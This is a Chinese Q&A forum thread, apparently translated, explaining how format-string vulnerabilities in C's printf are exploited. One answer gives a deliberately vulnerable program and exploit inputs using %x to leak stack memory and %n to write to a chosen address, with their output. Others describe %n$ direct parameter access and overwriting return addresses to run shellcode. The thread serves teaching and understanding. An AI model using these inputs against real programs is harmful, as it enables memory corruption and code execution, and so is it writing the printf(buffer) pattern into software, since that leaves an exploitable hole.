为了账号安全,请及时绑定邮箱和手机立即绑定

如何利用格式字符串漏洞?

/ 猿问

如何利用格式字符串漏洞?

德玛西亚99 2019-12-10 10:56:49

我正在阅读有关代码中的漏洞的信息,并遇到了这个Format-String Vulnerability。


维基百科说:


格式字符串错误最常出现在程序员希望打印包含用户提供的数据的字符串时。程序员可能错误地写了printf(buffer)而不是printf(“%s”,buffer)。第一个版本将缓冲区解释为格式字符串,并解析其可能包含的所有格式指令。第二个版本只是按照程序员的意图在屏幕上打印一个字符串。


我遇到了printf(buffer)版本的问题,但是我仍然不知道攻击者如何利用此漏洞执行有害代码。有人可以告诉我如何通过示例利用此漏洞吗?


查看完整描述

3 回答

?
繁星淼淼

您可能可以通过多种方式直接或间接利用格式字符串漏洞。让我们以以下示例为例(假设没有相关的操作系统保护,无论如何这都是非常罕见的):


int main(int argc, char **argv)

{

    char text[1024];

    static int some_value = -72;


    strcpy(text, argv[1]); /* ignore the buffer overflow here */


    printf("This is how you print correctly:\n");

    printf("%s", text);

    printf("This is how not to print:\n");

    printf(text);


    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);

    return(0);

}

此漏洞的基础是带有可变参数的函数的行为。实现可变数量参数处理的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,该格式字符串printf()期望在堆栈上有两个整数,并且仅提供一个参数,则第二个参数将必须是堆栈上的其他内容。通过扩展,如果我们可以控制格式字符串,则可以拥有两个最基本的原语:


从任意内存地址读取

[编辑] 重要说明:我在这里对堆栈框架布局进行一些假设。如果您了解该漏洞的基本前提,则可以忽略它们,并且它们在OS,平台,程序和配置之间也有所不同。


可以使用%sformat参数读取数据。您可以在中读取原始格式字符串的数据printf(text),因此可以使用它来读取堆栈中的所有内容:


./vulnerable AAAA%08x.%08x.%08x.%08x

This is how you print correctly:

AAAA%08x.%08x.%08x.%08x

This is how not to print:

AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141

some_value @ 0x08049794 = -72 [0xffffffb8]

写入任意内存地址

您可以使用%n格式说明符(几乎)写入任意地址。同样,假设我们上面的漏洞程序,让我们尝试改变的价值some_value,这是位于0x08049794,如上所示:


./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n

This is how you print correctly:

??%08x.%08x.%08x.%n

This is how not to print:

??XXXXXXXX.XXXXXXXX.XXXXXXXX.

some_value @ 0x08049794 = 31 [0x0000001f]

我们已经覆盖some_value了%n遇到说明符(man printf)之前写入的字节数。我们可以使用格式字符串本身或字段宽度来控制此值:


./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n

This is how you print correctly:

??%x%x%x%n

This is how not to print:

??XXXXXXXXXXXXXXXXXXXXXXXX

some_value @ 0x08049794 = 21 [0x00000015]

有很多尝试的可能性和技巧(直接参数访问,大字段宽度使可能的回绕,构建自己的基元),这简直触及了冰山一角。我建议阅读更多有关fmt字符串漏洞的文章(Phrack有一些非常出色的文章,尽管它们可能有些高级)或一本涉及该主题的书。


免责声明:例子取材于乔恩·埃里克森(Jon Erickson )的《黑客:剥削的艺术》(第二版) [尽管不是逐字记录] 。


查看完整回答
反对 回复 2019-12-10
?
摇曳的蔷薇

有趣的是,没有人提到n$POSIX支持的表示法。如果您可以控制格式字符串作为攻击者,则可以使用如下表示法:


"%200$p"

读取堆栈上的第200 个项目(如果有)。目的是列出n$从1到最大值的所有数字,它提供了一种重新排序参数在格式字符串中的显示方式的方式,这在处理I18N(L10N,G11N,M18N *)时非常方便。


但是,某些系统(可能是大多数系统)在如何验证n$值方面不太熟练,这可能会导致控制格式字符串的攻击者滥用。与%n格式说明符结合使用,可以导致在指针位置进行写入。


*首字母缩写词I18N,L10N,G11N和M18N分别表示国际化,本地化,全球化和跨国化。数字代表省略的字母数。


查看完整回答
反对 回复 2019-12-10
?
MYYA

嗯,答案在文章中!

不受控制的格式字符串是一种软件漏洞,大约在1999年发现,可以用于安全漏洞利用。以前认为无害,格式字符串漏洞可用于使程序崩溃或执行有害代码。


典型的攻击利用这些技术的组合来强制程序使用指向某些恶意shellcode的指针覆盖库函数的地址或堆栈上的返回地址。格式说明符的填充参数用于控制输出的字节数,%x令牌用于从堆栈中弹出字节,直到到达格式字符串本身的开头为止。格式字符串的开始精雕细琢包含地址的%n格式令牌可以用恶意代码执行的地址覆盖。


这是因为%n 起因printf于写数据到一个变量,它是在堆栈中。但这意味着它可以任意写入内容。您所需要做的就是让某人使用该变量(如果碰巧是一个函数指针,这相对容易,您刚刚想出了控制方法的值),他们就可以使您任意执行任何操作。


查看完整回答
反对 回复 2019-12-10

添加回答

回复

举报

0/150
提交
取消
意见反馈 帮助中心 APP下载
官方微信